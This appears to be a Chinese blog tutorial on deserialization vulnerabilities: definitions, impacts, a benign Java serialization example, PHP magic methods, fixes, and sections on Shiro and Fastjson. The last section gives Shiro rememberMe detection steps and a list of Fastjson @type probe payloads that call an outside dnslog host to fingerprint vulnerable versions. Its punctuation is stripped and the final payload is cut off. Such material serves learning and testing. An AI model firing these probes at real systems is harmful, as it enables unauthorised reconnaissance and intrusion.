网站内容的编辑和更新怎么做,假网站怎么制作,电影视频网站建设费用,深圳市网络seo推广价格目录 序列化是什么#xff1f;
反序列化又是什么#xff1f;
反序列化漏洞的危害
代码样例
常见的魔术方法 修复方式有哪些#xff1f;
常见的反序列化漏洞
Shiro反序列化漏洞
Fastjson反序列化漏洞 序列化是什么#xff1f;
将实例化对象转换成字节流的过程
反序…目录 序列化是什么
反序列化又是什么
反序列化漏洞的危害
代码样例
常见的魔术方法 修复方式有哪些
常见的反序列化漏洞
Shiro反序列化漏洞
Fastjson反序列化漏洞 序列化是什么
将实例化对象转换成字节流的过程
反序列化又是什么
将字节流转换成实例化对象的过程
反序列化漏洞的危害
反序列化漏洞是一种安全漏洞其危害主要体现在以下几个方面 远程代码执行Remote Code Execution, RCE 反序列化漏洞可以被攻击者利用来在目标系统上执行恶意代码。这种代码可以是远程控制命令、窃取敏感数据、修改系统配置等具有极大的破坏力和危险性。 拒绝服务攻击Denial of Service, DoS 攻击者可能利用反序列化漏洞来导致系统崩溃或服务不可用例如通过传递恶意序列化数据导致系统资源耗尽或死锁。 数据篡改和伪造Data Tampering and Forgery 攻击者可以利用反序列化漏洞来篡改数据或伪造合法的用户会话导致系统信任恶意构造的数据或者执行未经授权的操作。 提升权限Privilege Escalation 如果攻击者成功利用反序列化漏洞执行了恶意代码他们可能会尝试提升其在系统中的权限获取更高的访问权限从而进一步危害系统安全。 敏感信息泄露Information Disclosure 反序列化漏洞有可能导致敏感信息泄露例如通过序列化和反序列化操作中的错误处理机制或日志泄露出敏感数据。
总之反序列化漏洞的危害不仅限于单一的攻击向量而是可能对系统的安全性和稳定性造成广泛的影响和破坏。因此开发者在编写和处理序列化和反序列化代码时务必要格外小心和谨慎避免因为这类漏洞而给系统带来安全隐患。 代码样例
import java.io.*;// 定义可序列化的Person类
class Person implements Serializable {private String name;private int age;// 构造函数public Person(String name, int age) {this.name name;this.age age;}// 获取姓名public String getName() {return name;}// 获取年龄public int getAge() {return age;}
}public class SerializationExample {// 序列化对象到文件public static void serializeObject(Person obj, String filename) throws IOException {try (FileOutputStream fos new FileOutputStream(filename);ObjectOutputStream oos new ObjectOutputStream(fos)) {oos.writeObject(obj);System.out.println(Serialization successful. Object saved to filename);}}// 反序列化对象从文件public static Person deserializeObject(String filename) throws IOException, ClassNotFoundException {try (FileInputStream fis new FileInputStream(filename);ObjectInputStream ois new ObjectInputStream(fis)) {Person obj (Person) ois.readObject();System.out.println(Deserialization successful. Object loaded from filename);return obj;}}public static void main(String[] args) {String filename person.ser; // 序列化文件名// 创建一个Person对象Person person new Person(Alice, 30);try {// 序列化对象到文件serializeObject(person, filename);// 从文件反序列化对象Person loadedPerson deserializeObject(filename);// 打印反序列化后的对象属性System.out.println(Name: loadedPerson.getName() , Age: loadedPerson.getAge());} catch (IOException | ClassNotFoundException e) {e.printStackTrace();}}
}常见的魔术方法
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发在脚本终止或对象引用计数为0时调用通常会执行数据清除就或连接断开操作
__call() //在对象上下文中调用不可访问的方法时触发 通常用于错误处理防止脚本因为调用错误而终止执行
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据通常用于设置和获取对象私有属性
__set() //用于将数据写入不可访问的属性通常用于设置和获取对象私有属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
__clone() //当把一个对象赋给另一个对象时自动调用
__wakeup() //unserialize函数会检查是否存在wakeup方法如果存在则先调用wakeup方法做一些必要的初始化连数据库等操作
__construct() //PHP5允许在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法
__destruct() //PHP5引入析构函数的概念析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
__toString() //用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误 修复方式有哪些
验证和过滤输入:在执行反序列化之前对用户输入数据执行验证和过滤。使用安全的序列化方法:避免使用 PHP 的不安全序列化方法(例如,unserialize())而是使用更安全的替代方法如 JSON 或XML 序列化/反序列化。序列化和反序列化的白名单验证:限制反序列化操作的类范围可创建一个白名单只允许指定的类A执行反序列化或者创建一个黑名单禁止一些危险的类执行反序列化。以限制攻击方能够执行的恶意代码。
常见的反序列化漏洞
Shiro反序列化漏洞
Shiro 1.2.4版本会存在此漏洞挖掘的时候删除请求包中的rememberMe参数返回包中包含rememberMedeleteMe字段。说明使用了shiro组件可以尝试此漏洞。
如果返回包无此字段可以通过在发送数据包的cookie中增加字段****rememberMe然后查看返回数据包中是否存在关键字
此漏洞有两个版本利用方式
Shiro550不需要提供秘钥使用默认秘钥就可以利用
Shiro721先爆破秘钥成功后可以进一步利用 Fastjson反序列化漏洞
Fastjson提供了反序列化功能允许用户在输入JSON串时通过“type”键对应的value指定任意反序列化类名由此造成反序列化漏洞
漏洞挖掘方式如果请求包中出现http头Acceptapplication/json怀疑存在fastjson组件构造报错返回包中出现fastjson时确认使用了fastjson组件可以尝试此漏洞
Fastjson从1.2.24到1.2.67多个版本存在此漏洞如果没有回显版本可以将以下payload挨个替换到请求内容尝试是哪个版本的漏洞
{type:java.net.InetSocketAddress{address:,val:aaa.dnslog.cn}}{type:java.net.Inet4Address,val:aaa.dnslog.cn}{type:java.net.Inet6Address,val:aaa.dnslog.cn}{type:com.alibaba.fastjson.JSONObject,{type:java.net.URL, val:http://aaa.dnslog.cn}}}Set[{type:java.net.URL,val:http://aaa.dnslog.cn}]Set[{type:java.net.URL,val:http://aaa.dnslog.cn}{{type:java.net.URL,val:http://aaa.dnslog.cn}: